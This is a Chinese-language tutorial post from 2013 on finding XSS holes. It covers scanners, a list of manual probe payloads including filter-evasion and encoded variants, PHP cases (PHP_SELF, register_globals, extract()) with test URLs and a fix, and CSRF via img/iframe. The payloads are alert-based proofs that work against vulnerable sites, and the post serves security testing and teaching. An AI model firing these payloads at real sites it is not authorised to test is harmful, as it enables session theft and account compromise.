XSS 专题三 发掘XSS漏洞剖析
2013-10-25 19:21
309 查看
一.常用工具
1.1.Acunetix Web Vulnerability Scanner
商业Web 漏洞扫描程序,检测XSS,SQL,代码执行,目录遍历,网站程序源代码暴露,CRLF Injection.1.2.XSSDetect
XSSDetect 微软静态代码分析工具,Visual Studio.NET 的插件1.3.Ratproxy
支持Linux操作系统http://code.google.com/p/ratproxy/
检测XSS漏洞,SQL注入,文件包含漏洞,目录浏览,
二.人工检查
<script>alert(0)</script> < > " ' & # <img/src="javascript:alert('XSS');"> <img src="javascriptt:alert(/XSS/);" > <table background="javascript:alert(/XSS/)"></table> "><script >alert(document.cookie)</script> "><sc<script>ript>alert(document.cookie)</script <div style="width: expression(alert('XSS'));"> <div style="{ left:expression(alert('xss') ) }"> <img onerror="alert(0)" src=http://xxx.com/>
如果页面出现排版错误或者JS错误,可能存在XSS
在输入框中输入
<XSS>"'&
并提交,查看源码,如果连<>都未被转义,存在XSS,
如果被过滤,利用其他形式(标签属性,事件)
2.1 标签属性 触发XSS
比如<input name="name" value=<?=$query?>>
$query为动态内容,替换成
xss onmouseover=evil_script()
最终渲染后的HTML如下
<input name="name" value=xss onmouse=evil_script()>
2.2 事件 触发XSS
比如<input type="text" name="address" value="XSSTest">
XSSTest为可控输入源,输入
XSSTest "><script>alert(/XSS/)</script><"
返回
<input type="text" name="address" value="XSSTest "><script>alert(/XSS/)</script><"">
或创建事件处理器
“onfocus="alert(/XSS/)
2.3 代码嵌入JavaScript
<script> var test= ' XSSTest ';var id =12; .. </script>
XSSTest为可控输入源,输入
'; alert(/XSS/); var foo='
返回
<script> var test=''; alert(/XSS/); var foo=''; var id=12; ... </script>
2.4.利用浏览器可接受的编码
<scriPT> <scrip%00ipt> %253cscript%253e Expre/******/ssion
三.php XSS
3.1 php4 phpinfo() XSS
Stefan Esser 是研究PHP漏洞的专家,他在MOPB-08-2007提到 ,低版本的php对用户输入的变量没有转义就打印出来.测试代码如下http://localhost/phpinfo.php?a[]=<script>alert(/XSS/);</script>
3.2 $_SERVER[PHP_SELF]
$_SERVER['PHP_SELF'] 是PHP 的一个全局变量,代表当前PHP文件相对于网站根目录的位置地址,攻击者可以提交查询代码修改$_SERVER['PHP_SELF']的值,引发XSS漏洞,<form method="POST" action="<?php echo $_SERVER['PHP_SELF']; ?>"> <input type="hidden" name="submitted" value="1" /> <input type="submit" value="Submit!" /> </form>
这段代码在很多程序中使用,将其保存为data.php,
访问如下链接
http://127.0.0.1/data.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E%3Cfoo
要回避这个漏洞,可以使用htmlentities($_SERVER['PHP_SELF'])替代$_SERVER['PHP_SELF'],这样即使有恶意代码,也会转换为用于显示的HTML代码
3.3 变量覆盖
1.register_globals=on,该参数在PHP 4.2.0 及以上版本默认为屏蔽,影响PHP如何接收传递过来的参数,如果register_globals打开以后,各种变量都可以被重新注册,比如以下代码.
<?php echo $a; ?>
由于$a没有初始化,在register_globals打开的情况下,用户可以轻易地为其赋值,只需
http://127.0.0.1/test.php?a=XSS
如果传递javascript
http://127.0.0.1/test.php?a=XSS<script>alert(/XSS/)</script>
2.extract(),将变量从数组导入到当前符号表中
比如以下代码
<? $a=1; extract($_GET); echo $a; ?>
$a 已被初始化,如果直接访问,输出值为1
http://12.7.0.0.1/test.php?a=XSS
页面输出"XSS",$a被重新赋值
还可以使用
http://127.0.0.1/test.php?a=<script>alert(/XSS/)</script>
3.遍历初始化变量
<? $a=1; foreach($_GET as $key => $value){ $$key=$value; } print $a; print $b; ?>
访问以下链接
http://127.0.0.1/test.php?a=XSS&b=<h1>XSS</h1>
四.CSRF
使用Firebug查看POST参数,记录下post参数users.php?do=add_confirm&email=1%40cc.....
该CSRF Exploit可以嵌入到HTML的属性
<img src="http://127.0.0.1/admin...."> <iframe src="http://127.0.1/...."></iframe>
相关文章推荐
- 兽哥出品---->XSS漏洞的原理与剖析
- xss漏洞代码
- PHPWind论坛5.3版postupload.php附件文件名跨站脚本漏洞(XSS)
- 百度知道XSS漏洞
- XSS漏洞初窥(通过dvwa平台进测试)
- XSS漏洞修复
- 预防XSS漏洞攻击
- 一次有趣的XSS漏洞挖掘分析(1)
- JAVA解决XSS漏洞
- 模糊测试--强制性安全漏洞发掘
- [MVVM专题]__MSDN上最详细的介绍和剖析(上)
- 深入讲解数据库系统安全中的“漏洞发掘”
- 公布一年前发现阿里旺旺的一个xss漏洞的细节。
- xss 漏洞 攻击
- XSS漏洞挖掘 - CSS编码和反斜杠的三个技巧
- 教你玩转XSS漏洞
- 开源 Web 应用最常见漏洞是 XSS 和 SQLI 漏洞
- Django debug page XSS漏洞
- 一个搜索引擎中的反射XSS 预防和防御跨站漏洞 Web安全展望